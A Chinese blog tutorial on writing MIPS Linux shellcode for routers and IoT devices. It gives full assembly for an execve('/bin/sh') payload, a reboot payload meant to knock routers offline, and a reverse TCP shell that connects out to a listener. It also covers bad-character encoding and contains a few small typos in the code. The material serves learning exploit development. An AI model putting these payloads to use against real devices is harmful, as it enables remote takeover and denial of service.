MIPS shellcode

最新推荐文章于 2023-11-13 10:24:13 发布
最新推荐文章于 2023-11-13 10:24:13 发布
阅读量2.4k 收藏 1
点赞数
分类专栏： IOT 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Ga4ra/article/details/123826615
版权

文章目录

1. MIPS linux 系统调用

MIPS没有int 0x80, 而是使用syscall进行系统调用。

syscall($v0, $a0, $a1, $a2...);
汇编：
li $a0, 0
li $v0, 4001	# exit
syscall

$v0为系统调用号, 定义位于/usr/include/mips-linux-gnu/asm/unistd.h。

可以先实现c语言版本的shellcode，然后用strace查看系统调用号，再根据系统调用号实现汇编版本shellcode。

write

文档：https://man7.org/linux/man-pages/man2/write.2.html

.section .text
.globl __start
.set noreorder
__start:
addiu $sp,$sp,-32        # 抬高堆栈，用来放置参数
li $a0,1                # 传入第一个参数，表示输出到stdout
lui $t6,0x4142            
ori $t6,$t6,0x430a        # 放置字符ABCn到$t6中
sw $t6,0($sp)            # 将$t6里面的数据存储到堆栈中
addiu $a1,$sp,0        # 从堆栈中将ABCn存储到第二个参数$a1中，
li $a2,5                # 传入第三个参数，5，表示字符串长度
li $v0,4004            # 传入write的系统调用号4004
syscall

编译：

#!/bin/sh
# $ sh nasm.sh <source file> <excute file>
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-as $src -o s.o
echo "as ok"
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-ld s.o -o $dst
echo "ld ok"
rm s.o

execve

execve是常用的shellcode之一，用来运行/bin/sh之类的shell。

文档：https://man7.org/linux/man-pages/man2/execve.2.html

# execve(“/bin/sh”, 0, 0)

.section .text
.globl __start
.set noreorder

__start:
li $a2,0x111

# 因为mips的流水线基址，这两条指令同时执行
p:bltzal $a2,p          # jmp if $a2 < 0, 执行后，下下行addiu的地址会保存在$ra中
li $a2,0                # 存入第三个参数0，

addiu $sp,$sp,-32        # 拉高堆栈，存放参数, 该行地址在bltzal时保存至$ra
addiu $a0,$ra,28        # $ra+28是下面参数字符串/bin/sh的首地址， 28==7(行)*4 bytes
sw $a0,-24($sp)        # 将/bin/sh存入开辟的数组
sw $zero,-20($sp)        # 将参数0存入数组
addiu $a1,$sp,-24
li $v0,4011		# execve
syscall

sc:                    # 存储的参数/bin/sh
    .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68

2. 编码优化

坏字符包括：NULL, \r, \n，空格等。

优化方法-指令优化

不要用立即数0, 可以先赋值为一个大数，再减去这个大数。

编码优化

编码后的shellcode构造：

解码指令	要求短小精悍
编码后的指令

编码算法：

  • base64: 用于网页shellcode；
  • alpha_upper：全替换为ascii可见字符；
  • xor：异或一下。

3. 通用shellcode

reboot shellcode

用途：重启路由器实现dos。

reboot系统调用文档：https://man7.org/linux/man-pages/man2/reboot.2.html

#include <unistd.h>
#include <linux/reboot.h>
#include <sys/reboot.h>

int main() {
  reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART);
}

汇编：

.section .text
.globl __start
.set noreorder
__start:
lui $a2, 0x4321
ori $a2, $a2, 0xfedc

lui $a1, 0x2812
ori $a1, $a1, 0x1969

lui $a0, 0xFEEL
ori $a0, $a0, 0xDEAD

li $v0, 4088
syscall

reverse_tcp shellcode

相关系统调用：

  • https://man7.org/linux/man-pages/man2/socket.2.html
  • https://man7.org/linux/man-pages/man2/connect.2.html
  • https://man7.org/linux/man-pages/man2/dup2.2.html
#include <sys/types.h>       
#include <sys/socket.h>
#include <netinet/in.h>

int soc, rc;
struct sockaddr_in serv_addr;
//reverse(ip: port)   192.168.32.140:30583

// struct sockaddr_in {
//   sa_family_t    sin_family;
//   uint16_t       sin_port;
//   struct in_addr  sin_addr;
//   char            sin_zero[8];
// }

int main() {
        serv_addr.sin_family = AF_INET/*2*/;
        serv_addr.sin_addr.s_addr = 0xc0a8208c;
        serv_addr.sin_port = 0x7777;
        soc = socket(AF_INET/*2*/, SOCK_STREAM/*2*/, 0);
        rc = connect(soc, (struct sockaddr *)&serv_addr, 0x10);
        dup2(soc, 0);
        dup2(soc, 1);
        dup2(soc, 2);
        execve("/bin/sh", 0, 0);
}

汇编部分，分解一下来实现：

socket:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3	# 指令优化
addi $a1, $t7, -3
slti $a2, $zero, -1		# $a2 = ($zero < (-1)) ? 1 : 0
li $v0, 4183     # sys_socket
syscall

connect:

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)		# socketr
lw $a0, -1($sp)

li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)	# sin_family	big endian

lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)	

lui $t6, 0xc0a8       #ip(high)
ori $t6, $t6, 0x0249  #ip(low)
sw $t6, -26($sp)

addiu $a1, $sp, -30		# sizeof(sin_family) == 2 bytes
li $t4, -17
nor $a2, $t4, $zero		# not(-17 | 0) == not(b1111) == 0x10
li $v0, 4170      #sys_connect
syscall

dup2:

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero		# not(b101) == b10 == 2
lw $a0, -1($sp)		# sock
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop		# if newfd == -1, break

execve:

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1		# $a2 = ($zero < (-1)) ? 1 : 0

# big endian
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)

addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8	# pointer to "/bin/sh"
li $v0, 4011      #sys_execve
syscall

完整版：

.section .text
.globl __start
.set noreorder
__start:

# sys_socket
# a0: domain
# a1: type
# a2: protocol
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183     # sys_socket
syscall

# syc_connect
# a0: sockfd (stored on the stack)
# a1: addr (data stored on the stack)
# a2: addrlen
sw $v0, -1($sp)
lw $a0, -1($sp)
li $t7, 0xfffd
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x7777    #port
ori $t6, $t6, 0x7777
sw $t6, -28($sp)
lui $t6, 0xc0a8       #ip(high) 192.168
ori $t6, $t6, 0x208c  #ip(low)  32.140
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170      #sys_connect
syscall

# sys_dup2
# a0: oldfd  (socket)
# a1: newfd  (0, 1, 2)
li $s1, -3
nor $s1, $s1, $zero
lw $a0, -1($sp)
dup2_loop:  move $a1, $s1      #dup2_loop
li $v0, 4063          # sys_dup2
syscall
li $s0, -1
addi $s1, $s1, -1
bne $s1, $s0, dup2_loop

# sys_execve
# a0: filename "//bin/sh"
# a1: argv "//bin/sh"
# a2: envp (NULL)
slti $a2, $zero, -1
lui $t7, 0x2f2f    #"//"
ori $t7, $t7, 0x6269  #"bi"
sw $t7, -20($sp)
lui $t6, 0x6e2f    #"n/"
ori $t6, $t6, 0x7368  #"sh"
sw $t6, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
li $v0, 4011      #sys_execve
syscall

可以使用nc测试：

nc -l 30583

总结下注意点：

  1. 这种长的shellcode，要分解实现；
  2. 注意结构体成员地址问题，赋值时4字节为单位；
  3. 注意大端存储；
  4. 注意优化。
CodeStarr
关注
专栏目录
基于MIPS的shellcode的execve系统调用
chentaoxie的博客
04-18 299
1 编写shellcode的execve系统调用源码 #include <stdio.h> #include <unistd.h> char sc[] = { "\x99\x73\x06\x24" /* li a2,0x7399 */ "\x00\x00\xd0\x04" /* LB: bltzal a2,LB */ "\x50\x73\x0f\x24" /* li $t7,0x735
基于MIPS的shellcode的reverse tcp调用
chentaoxie的博客
04-24 448
1 在win下使用netcat建立tcp server。 (1) 下载netcat: https://eternallybored.org/misc/netcat/。 软件下载后，会有病毒提示，设置成非病毒包。 (2) 查看帮助信息：使用cmd开命令界面。使用.\nc64.exe -h命令查看帮助信息。 (3) 建立socket监听： .\nc64.exe -L -p 30583 (4) 等待连接… 2 编写shellcode的reverse tcp调用源码 #include <stdio.h&gt
MIPS-Reverse:轻松生成MIPS反向shell shellcode！
04-16
MIPS反向 MIPS-Reverse是一种可以为架构生成shellcode的工具，该工具将启动反向shell ，您可以在其中指定IP地址，端口和所需的shell （ / bin / sh ， / bin / bash ， / bin / dash ）。 如何安装 # 1. Install pwntools $ pip3 install pwntools # 2. Install the binutils for the MIPS architecture $ apt-get install software-properties-common $ apt-add-repository ppa:pwntools/binutils $ apt-get update $ apt-get install binutils-mips-linux-gnu 如何使用 $ python3main.py
MIPS下shellcode编写
Yale的博客
05-27 630
这次实验我们来学习mips下shellcode的编写。 我们知道linux下实现系统调用时利用了x86体系结构下的软件中断，也就是调用int 0x80这条指令，这是在x86下编写shellcode的办法。前面的知识中我们学习到mips中没有这个中断，我们用以代替的是使用syscall指令进行系统调用。Syscall的调用方法为：在调用之前，0x80这条指令，这是在x86下编写shellcode的办法。前面的知识中我们学习到mips中没有这个中断，我们用以代替的是使用syscall指令进行系统调用。 Sysc
十五、MIPS ShellCode
wanhex的博客
03-10 787
狭义上得Shellcode是指，向进程植入的一段用于获取Shell的代码，事实上，如今的Shellcode所具备的功能已经不仅仅包括获取Shell，还包括开启端口、执行命令等。 Shellcode通常使用汇编语言编写，最终将其转换成机器可识别的二进制机器码，其内容和长度还会受到很多苛刻的限制，因此开发和调试的难度非常高。 Shellcode编写好后，通常在程序的可注入点，将Shellcode注入到...
MIPS下shellcode编写二
Yale的博客
05-27 580
在shellcode中我们常会看到execve系统调用，它常用来运行/bin/sh之类的应用程序。 我们来execve的原型 execve()用来执行参数filename字符串所代表的文件路径，第二个参数是利用指针数组来传递给执行文件，并且需要以空指针(NULL)结束，最后一个参数则为传递给执行文件的新环境变量数组。 这里为了方便，直接将后面两个参数置0 简单的看看c程序里execve的使用 代码在exe.c 编译 运行 可以看到execve函数执行了/bin/sh生成了一个shell 用汇编来写同
Android系统shellcode编写.zip_android_shellcode
09-23
3. **架构兼容性**：Android设备可能使用不同的处理器架构，包括ARM、x86、MIPS等。编写跨平台的shellcode意味着需要为每种架构编写不同的代码，并确保在不同架构上正确执行。 4. **代码长度**：在某些情况下，...
红队系列-shellcode AV bypass Evasion免杀合集
最新发布
aming小老弟
11-13 1255
壳就是软件所增加的保护，并不会破坏里面的程序结构，当我们运行这个加壳的程序时，系统首先会运行程序里的壳，然后由壳将加密的程序逐步还原到内存中，最后运行程序。加壳虽然对于特征码绕过有非常好的效果，加密壳基本上可以把特征码全部掩盖，但是缺点也非常的明显，因为壳自己也有特征，主流的壳如VMP, Themida等等。客户端上传特征，在云端无法检测到，则上传文件，文件通过杀软系统进行评判，得出总评分，对于无结果的，进行鉴定系统评分，总共得出结果返回给用户，并入云端库。比如可以远程读取png中的shellcode。
汇编代码转成机器码mips-code-to-machine-code
12-21
汇编代码转成机器码——对输入有几点要求：指令是小写；一行只能有一条指令；每行开头不能有空格，必须一上来就是操作符，后面可以有空格；立即数只处理十进制数；输入-1代表程序结束
九种MIPS编码格式
iamnationalhope的专栏
06-03 1552
    因为想在不借助 EJTAG 的情况下来验证 RTOS, 所以最近恨下心来想抽空写一个 Au1200 的模拟器（我一直觉得 gxemul 和 Simics 都不是很好用），于是先根据《See MIPS Run》一书总结了一下 MIPS 的编码格式（附带说一句，网上搜出的文章以及 Hennessy 的书都说 MIPS 只有 R, I, J 三种编码形式，若仔细看看新的 MIPS32 文档或《S
MIPS汇编指令.pdf
03-15
MIPS是世界上很流行的一种RISC处理器。MIPS的意思“无内部互锁流水级的微处理器”(Microprocessor without interlocked piped stages)，其机制是尽量利用软件办法避免流水线中的数据相关问题。它最早是在80年代初期由斯坦福(Stanford)大学Hennessy教授领导的研究小组研制出来的。文件整理了MIPS常用的一些汇编指令，方便学习和查阅。
shellcode2assembly：ARCH：ARM，ARM64，MIPS，PPC，X86
03-02
ShellcodeToAssembly 用您的shellcode替换shellcodetoasm.py。 {Endian类型是little endian。 } shellcode = ' ' 安装 git clone https://github.com/blacknbunny/ShellcodeToAssembly.git && cd ShellcodeToAssembly/ && pip2 install -r requirements.txt && python2 shellcodetoasm.py 模块手动安装 pip install -r requirements.txt可以是pip2 install -r requirements.txt 用法 python2 shellcodetoasm.py [returnbit] [architecture] [assembly-fl
mips的系统调用
wu_cai_的专栏
04-13 6398
System Calls and I/O (SPIM Simulator)   系统调用 与 输入/输出(主要针对SPIM模拟器）  （本人使用的是Mars 4.4，也通用--！)   通过系统调用实现终端的输入输出，以及声明程序结束学会使用 syscall参数所使用的寄存器：$v0， $a0,  $a1返回值使用： $v0 下表给出了系统调用中对应功能，代码，参数机
【网络资源学习笔记】ShellCode相关内容学习
天在等我，菜鸟想飞
07-14 2683
个人shellcode相关网络资源学习记录
linux mips汇编指令集,MIPS 指令集 Shellcode 编写入门
weixin_42512723的博客
05-12 620
H4lo@海特实验室前言Shellcode 是一段可以执行特定功能的特殊汇编代码，在设备漏洞利用过程中，尤其是栈溢出漏洞，我们一般都会使用调用 shellcode 的方法来进行攻击(ret2shellcode)。MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异，同时在实际利用 MIPS 的 shellcode 时可能会有坏字符的问题，因此还是需要掌握一...
二进制学习（pwn）-shellcode
liulanghouzi的博客
09-21 1611
帮助二进制安全爱好者入门~
MIPS中的异常处理和系统调用
落尘纷扰的专栏
03-03 9000
本文介绍mips体系结构中异常处理机制，并详细分析了系统调用异常的实现。
反向tcp shell编写
Yale的博客
05-27 765
本次实验我们来尝试学习编写反向tcp连接的shellcode。 先用c语言实现，实现的步骤很简单 源码在re.c中 这里存在很多系统调用，我们依次看下来。分别是socket,connect,dup2,execve。 这里需要注意的地方就是socket的返回值会被connect和dup2调用。 程序建立socket以后会连接远程主机，远程主机的信息我们都放在了serv_addr结构体中。 连接成功之后会返回套接字文件描述符，可以使得用户与套接字接口进行通信。因为我们写的反向tcp的程序希望实现交互功能，所以
comp1521-mips以及c语言中的系统调用
行走
11-03 775
文章目录0 C语言文件操作1 mips关于文件操作的系统调用参数 0 C语言文件操作 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <inttypes.h> // uint16_t // // 打开文件 FILE *fp = fopen("file_name.txt", "wb"); //注意fputc，是按照二进制输入到文件中。比如，int number = 'A'
MIPS32指令集详解
"MIPS完整指令集文档，版本5.03，由MIPS Technologies, Inc.出版，详细介绍了MIPS32架构的指令集。该文档包含有关MIPS32指令集的专有信息，受美国和其他国家的版权法律保护，未经MIPS Technologies或其授权第三方...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值